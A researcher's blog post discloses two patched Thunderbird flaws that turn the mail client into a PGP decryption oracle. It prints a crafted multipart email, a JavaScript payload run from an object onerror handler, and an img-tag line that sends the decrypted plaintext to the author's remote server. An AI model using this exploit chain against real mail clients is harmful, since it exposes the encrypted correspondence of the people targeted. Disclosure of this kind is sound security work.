Published: 2022-10-05

Exploit Disclosure: Turning Thunderbird into a Decryption Oracle

I recently disclosed several security and privacy vulnerabilities in Thunderbird. At worst these vulnerabilities can by exploited by an adversary with access to a collection of intercepted encrypted messages to trick Thunderbird into decrypting any given message and sending the resulting plaintext back to the adversary. This attack worked with Thunderbird default configuration, i.e. even when load remote resources are disabled

Yes, this is as bad as it sounds

Prior to reading, if you are a Thunderbird user, and especially if you use Thunderbird for encrypted email, I recommend that you upgrade to the latest version of Thunderbird immediately.

At time of writing, 102.3


Part One: Thunderbird Basics and Theory of Exploitation

By default, Thunderbird renders all messages in the “Original HTML” view, with remote resources, and scripting, disabled.

When Thunderbird receives an email containing armored PGP ciphertext it will attempt to decrypt the message and display the plaintext inline.

We assume that an adversary is capable of intercepting ciphertexts to the client (why else encrypt the email?) and, as such, has a stash of encrypted messages that they would like to know the plaintext of.

As such, our goal with this exploit is to:


Part 1: Bypassing Javascript, and accessing Decrypted Message Content

As noted above, Thunderbird blocks all Javascript from executing in the context of reading and replying to a message.

However, through fuzzing, we were able to find that when opening a text/html email containing a meta tag with a refresh directive, in the compose window, we were able to trigger a refresh of the rendering context.

This refresh had two side effects:

  1. The URL in the Refresh Directive was accessed by Thunderbird (resulting in a privacy leak)
  2. Certain scripting protections in Thunderbird were bypassed including onerror events of certain media tags like object and onmouseover events of similar elements.

By also including an object tag referencing an invalid url we were able to execute javascript in the onerror handler.

However, getting access to the plaintext of a ciphertext was a little more difficult. Thunderbird does not automatically decrypt armored ciphertext in HTML bodies, and so we needed a way to combine both a ciphertext and HTML.

Part 1(a): Mimetypes to the Rescue

Email is a wonderful thing. Using the multipart/mixed mimetype we can combine multiple different payloads together.

Rendering the ciphertext requires the headers: Content-Type: text/plain; Content-Disposition: inline;

Rendering the html requires Content-Type: text/html; Content-Disposition: inline;

Combing them together and you get something like this:

From: FuzzBot<a@example.org>
To: contact@example.org
Subject: Fuzz Case 14 text/html
Date: Wed, 11 May 2024 14:31:59 +0000
Content-Type: multipart/mixed;
    protocol="application/pgp-encrypted";
boundary="------------K0AHeKyQeF8NinA1KkpcqEHX"

--------------K0AHeKyQeF8NinA1KkpcqEHX
Content-Type: text/plain;
Content-Disposition: inline;

-----BEGIN PGP MESSAGE-----

hQGMAyEQZSj65DVQAQwAgiv9UYSEk4zW57CnH0AlSkzNh4MxW/cFNKYKTnoA/Bvz
SI0OGyK40DKwlIZO1HDJFPCif304ZzKoxNX9ZwU6SSBdGSipglNgkmkOoyTWBBh4
Zanuq0X33vcKGEMw4wFZMoXGs5DhEoPdSDUymChsGiBPUrKBKxiIQClOlIoOEMno
UEylS2IVOhAg720aCWp/ymbjJM909Tp5h3H3pJCIanyyO2R6TA/+x48i3Mc4m3me
OIhFFP/7EfpUiLQzrGLJONsvm/5fc+GP+pRCYosKs5TKdN0d4G9e9L7JXAshb/1C
lJ3ZZWF1loAGwgmE5zrk/i3nV+Z1xLogV6L8l7YYys2tiFomvz6zolqOu3UKanfh
AG1ae6LWYOVNPF1izSftC99wZ/09kCOzkMXJ5l21eOqGTXtS9UrgOGS+N12p50Lf
70rz9tdrKoxb9zRdX5GakAAF9Nl3NUmfNo4Sxgq5YobGYYHPV5HNPHayLb14F7AG
wgJCeCRSZ4N60toLXjhK0k4BP4lWUfT+Qc1K+eJCjo9sNnAjQr1WANfuViEVcsQ/
w1RDMR/MPxtfAL4y+Hm/PDDJQFS+MICDSEAIy1scr+xhmfv8WBapX+eiYaO33RQ=
=thh0
-----END PGP MESSAGE-----
--------------K0AHeKyQeF8NinA1KkpcqEHX
Content-Type: text/html;
Content-Disposition: inline;

<meta http-equiv="refresh" content="0;URL='http://localhost:8090'" /><div id="demo"></demo><object onerror="<javascript payload>" data="notarealaddress" width="400" height="300"></object>`

The above email, when opened in the reply/forward window of a vulnerable Thunderbird client (with a loaded private key), will automatically decrypt the ciphertext, and run the javascript payload.

We can get access to the decrypted message using the following payload (expanded for clarity):

// test function to check if Thunderbird has automatically decrypted our payload yet
function test(x){
    // look for PGP header at the start of the email...
    if(x.indexOf('PGP') > 200) {
        alert('plaintext:' + x)
    } else {
        // cause another refresh...
        document.getElementById('demo').innerHTML =x ;
    } 
};
var x = parent.document.body.innerHTML; 
test(x);

Part 2: Leaking the Plaintext

Even though we have Javascript execution we are still bound to the laws of the container, which forbid various remote resource access and loading (e.g. XMLHttpRequests are blocked).

However, it turns out that in the context of the content editing window, inserted images will attempt to load remote resources. So we can simply use the same innerHTML trick to insert an image.

As such we can modify our payload:

    // look for PGP header at the start of the email...
    if(x.indexOf('PGP') > 200) {
        // insert a new img tag pointing to our leaking domain, referencing the leaked data
        parent.document.body.innerHTML+='<img src=http://pseudorandom.resistant.tech:8009?x='+encodeURIComponent(x)+'>'
    }

When executed, this will cause the client to insert an image refrenceing the decrytped paylaod, which will cause Thunderbird to make a request to the target server:

"GET /?x=%3Cbr%3EOn%202024-05-11%2007%3A31%2C%20FuzzBot%20wrote%3A%3Cbr%3E%3Cblockquote%20type%3D%22cite%22%3Esecret%20things%3....

If you did not see it yet, secret things is the decrypted plaintext of the payload ciphertext.

Put together this allows any adversary with access to intercepted encrypted messages to trick the target into decrypted the message and sending the resulting plaintext back.


Appendix

Finding the Bugs

I found these bugs while fuzzing Thunderbird. I set up an IMAP server which delivered a constant stream of weirdly formatted messages to Thunderbird, and then spent an afternoon going through them, trying actions like opening them, replying to them etc.

Most of the messages contained references to a target server which was setup to log any access attempts. Through this I was able to identify remote resource leaks like the iframe srcdoc issue.

Many of the messages also contained common script-injection constructs, and while going through the generated emails I happened to hit a few that triggered an alert when replied to.

The development of the PGP IMAP construction and resultant exploit was done by hand one morning.

Disclosure Timeline

CVE-2022-3033 - Leaking of sensitive information when composing a response to an HTML email with a META refresh tag

If a Thunderbird user replied to a crafted HTML email containing a META tag, with the META tag having the http-equiv=“refresh” attribute, and the content attribute specifying an URL, then Thunderbird started a network request to that URL, regardless of the configuration to block remote content. In combination with certain other HTML elements and attributes in the email, it was possible to execute JavaScript code included in the message in the context of the message compose window. The JavaScript code could then access the contents of the message compose window, including the quoted original message, which could potentially contain the decrypted plaintext of encrypted data that was included in the crafted email.

For context, Thunderbird will automatically decrypt armoured PGP messages within emails, and in the compose window will include the decrypted contents of those ciphertexts.

This vulnerability allows javascript to be executed within the context of the compose window.

If an adversary is in possession of a ciphertext they know is associated with a key loaded into a thunderbird client, then the adversary can craft a message containing that ciphertext. If the victim opens the compose window (to reply or forward the message, for example), the ciphertext will be automatically decrypted, and an exploit can then leak the decrypted contents back to the adversary - effectively turning any Thunderbird application into a decryption oracle.

Aside from the main exploit, this vulnerability be used to run arbitrary javascript including altering the contents of the compose window, generating alert/dialog boxes, and accessing other APIs like performance.

Combined with other vulnerabilities documented here, any exploit can load remote resources and leak any data accessible, or given to, the compose window.

As commentary, I will also add that many discovered disclosed vulnerabilities in the Firefox/Thunderbird rendering engine come with a disclaimer that:

In general, these flaws cannot be exploited through email in the Thunderbird product because scripting is disabled…

This issue allows javascript to be run when replying to email, potentially opening up the exploit window further.


CVE-2022-3032: Remote content specified in an HTML document that was nested inside an iframe’s srcdoc attribute was not blocked

When receiving an HTML email that contained an IFRAME element, which used a SRCDOC attribute to define the inner HTML document, remote objects specified in the nested document, for example images or videos, were not blocked. Rather, the network was accessed, the objects were loaded and displayed.

This vulnerability would allow an adversary to know when an email was read, and expose the IP address (in addition to mail client version, etc.) of the reader. As we have seen, this vulnerability can also be combined with others, to leak other information from the Thunderbird client.

Exploiting this only requires sending an email that you can convince someone to preview, no further engagement is required.





About This Site

This is a site where I dump essays, ideas, thoughts, math and anything else that doesn’t fit into another format, or isn’t yet ready for a longer paper. Beware: Ideas may be half thought through and/or full of errors. Hic sunt dracones.


Recent Articles

2023-03-30Retrospective: Winter of Pipelines
2022-12-31Change, Control, Habits, and Productivity
2022-10-05Exploit Disclosure: Turning Thunderbird into a Decryption Oracle
2022-06-03An Extended Reply Regarding Auditing Anonymity Networks
2022-05-14Ideas for a better IDE
2022-04-25Federation is still the Worst of All Worlds
2022-03-21A brief introduction to insecurity buttons
2022-02-28A Queer Kind of Hope
2022-01-16Private and Decentralized Human Readable Names with Fuzzy Message Detection and Delay Towers
2021-11-27Writing a Fuzzer for Nes Games
2021-11-08Defining (De)Centralization in a Useful Way (The thing you are supposed to be decentralizing is power)
2021-11-02Extending Fuzzy Message Detection to Groups
2021-09-09Rough Cut: Oblivious Transfer
2021-08-30Building a Home-made Hydrogen Line Telescope
2021-08-19NeuralHash, Semantics, Collisions and You (or When is a Cat a Dog?)
2021-08-16Revisiting First Impressions: Apple, Parameters and Fuzzy Threshold PSI
2021-08-12A Closer Look at Fuzzy Threshold PSI (ftPSI-AD)
2021-08-10Obfuscated Apples